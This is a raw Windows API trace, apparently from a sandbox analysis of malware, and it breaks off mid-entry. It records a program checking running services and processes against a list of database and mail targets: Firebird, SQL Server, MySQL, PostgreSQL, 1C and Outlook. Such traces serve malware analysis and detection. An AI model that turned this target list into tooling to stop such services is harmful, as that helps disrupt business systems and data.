lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0273.819] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0273.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0273.819] lstrlenW (lpString="CscService") returned 10 [0273.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0273.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0273.819] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0273.820] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0273.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0273.820] lstrlenW (lpString="DcomLaunch") returned 10 [0273.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0273.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0273.820] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0273.820] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0273.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0273.820] lstrlenW (lpString="Dhcp") returned 4 [0273.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0273.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0273.820] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0273.820] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0273.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0273.820] lstrlenW (lpString="Dnscache") returned 8 [0273.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0273.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0273.820] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0273.820] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0273.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0273.820] lstrlenW (lpString="DPS") returned 3 [0273.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0273.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0273.820] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0273.820] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0273.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0273.820] lstrlenW (lpString="eventlog") returned 8 [0273.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0273.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0273.820] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0273.820] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0273.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0273.820] lstrlenW (lpString="EventSystem") returned 11 [0273.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0273.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0273.821] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0273.821] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0273.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0273.821] lstrlenW (lpString="gpsvc") returned 5 [0273.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0273.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0273.821] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0273.821] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0273.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0273.821] lstrlenW (lpString="LanmanWorkstation") returned 17 [0273.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0273.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0273.821] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0273.821] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0273.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0273.821] lstrlenW (lpString="lmhosts") returned 7 [0273.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0273.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0273.821] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0273.821] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0273.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0273.821] lstrlenW (lpString="MMCSS") returned 5 [0273.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0273.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0273.821] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0273.821] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0273.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0273.821] lstrlenW (lpString="MpsSvc") returned 6 [0273.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0273.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0273.822] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0273.822] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0273.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0273.822] lstrlenW (lpString="NlaSvc") returned 6 [0273.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0273.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0273.822] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0273.822] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0273.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0273.822] lstrlenW (lpString="nsi") returned 3 [0273.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0273.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0273.822] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0273.822] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0273.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0273.822] lstrlenW (lpString="PcaSvc") returned 6 [0273.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0273.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0273.822] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0273.822] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0273.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0273.822] lstrlenW (lpString="PlugPlay") returned 8 [0273.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0273.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0273.822] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0273.823] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0273.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0273.823] lstrlenW (lpString="Power") returned 5 [0273.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0273.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0273.823] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0273.823] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0273.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0273.823] lstrlenW (lpString="ProfSvc") returned 7 [0273.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0273.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0273.823] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0273.823] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0273.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0273.823] lstrlenW (lpString="RpcEptMapper") returned 12 [0273.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0273.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0273.823] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0273.823] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0273.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0273.823] lstrlenW (lpString="RpcSs") returned 5 [0273.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0273.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0273.823] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0273.823] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0273.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0273.823] lstrlenW (lpString="SamSs") returned 5 [0273.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0273.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0273.824] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0273.824] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0273.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0273.824] lstrlenW (lpString="Schedule") returned 8 [0273.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0273.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0273.824] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0273.824] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0273.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0273.824] lstrlenW (lpString="SENS") returned 4 [0273.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0273.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0273.824] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0273.824] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0273.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0273.824] lstrlenW (lpString="ShellHWDetection") returned 16 [0273.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0273.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0273.824] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0273.824] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0273.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0273.824] lstrlenW (lpString="Spooler") returned 7 [0273.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0273.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0273.824] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0273.824] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0273.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0273.824] lstrlenW (lpString="Themes") returned 6 [0273.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0273.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0273.824] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0273.824] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0273.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0273.825] lstrlenW (lpString="UxSms") returned 5 [0273.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0273.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0273.825] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0273.825] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0273.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0273.825] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x4236140 | out: hHeap=0x2a0000) returned 1 [0273.825] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x39c [0273.826] Process32FirstW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0273.826] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0273.826] lstrlenW (lpString="System") returned 6 [0273.826] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0273.826] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0273.826] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0273.826] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0273.826] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0273.826] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0273.826] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0273.827] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0273.827] lstrlenW (lpString="smss.exe") returned 8 [0273.827] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0273.827] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0273.827] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0273.827] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0273.827] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0273.827] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0273.827] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0273.827] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0273.827] lstrlenW (lpString="csrss.exe") returned 9 [0273.827] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0273.827] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0273.827] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0273.827] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0273.827] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0273.827] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0273.827] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0273.827] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0273.828] lstrlenW (lpString="wininit.exe") returned 11 [0273.828] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0273.828] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0273.828] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0273.828] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0273.828] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0273.828] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0273.828] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0273.828] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0273.828] lstrlenW (lpString="csrss.exe") returned 9 [0273.828] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0273.828] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0273.828] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0273.828] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0273.828] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0273.828] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0273.828] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0273.828] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0273.829] lstrlenW (lpString="winlogon.exe") returned 12 [0273.829] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0273.829] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0273.829] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0273.829] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0273.829] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0273.829] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0273.829] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0273.829] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0273.829] lstrlenW (lpString="services.exe") returned 12 [0273.829] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0273.829] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0273.829] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0273.829] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0273.829] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0273.829] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0273.829] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0273.829] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0273.830] lstrlenW (lpString="lsass.exe") returned 9 [0273.830] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0273.830] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0273.830] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0273.830] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0273.830] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0273.830] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0273.830] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0273.830] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0273.830] lstrlenW (lpString="lsm.exe") returned 7 [0273.830] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0273.830] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0273.830] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0273.830] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0273.830] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0273.830] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0273.830] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0273.830] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.831] lstrlenW (lpString="svchost.exe") returned 11 [0273.831] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0273.831] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0273.831] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0273.831] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0273.831] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0273.831] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0273.831] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0273.831] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.831] lstrlenW (lpString="svchost.exe") returned 11 [0273.831] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0273.831] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0273.831] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0273.831] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0273.831] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0273.831] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0273.831] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0273.831] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.832] lstrlenW (lpString="svchost.exe") returned 11 [0273.832] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0273.832] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0273.832] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0273.832] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0273.832] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0273.832] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0273.832] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0273.832] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.832] lstrlenW (lpString="svchost.exe") returned 11 [0273.832] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0273.832] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0273.832] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0273.833] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0273.833] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0273.833] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0273.833] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0273.833] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.833] lstrlenW (lpString="svchost.exe") returned 11 [0273.833] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0273.833] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0273.833] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0273.833] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0273.833] lstrlenW (lpString="audiodg.exe") returned 11 [0273.833] Process32NextW (in: hSnapshot=0x39c, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, 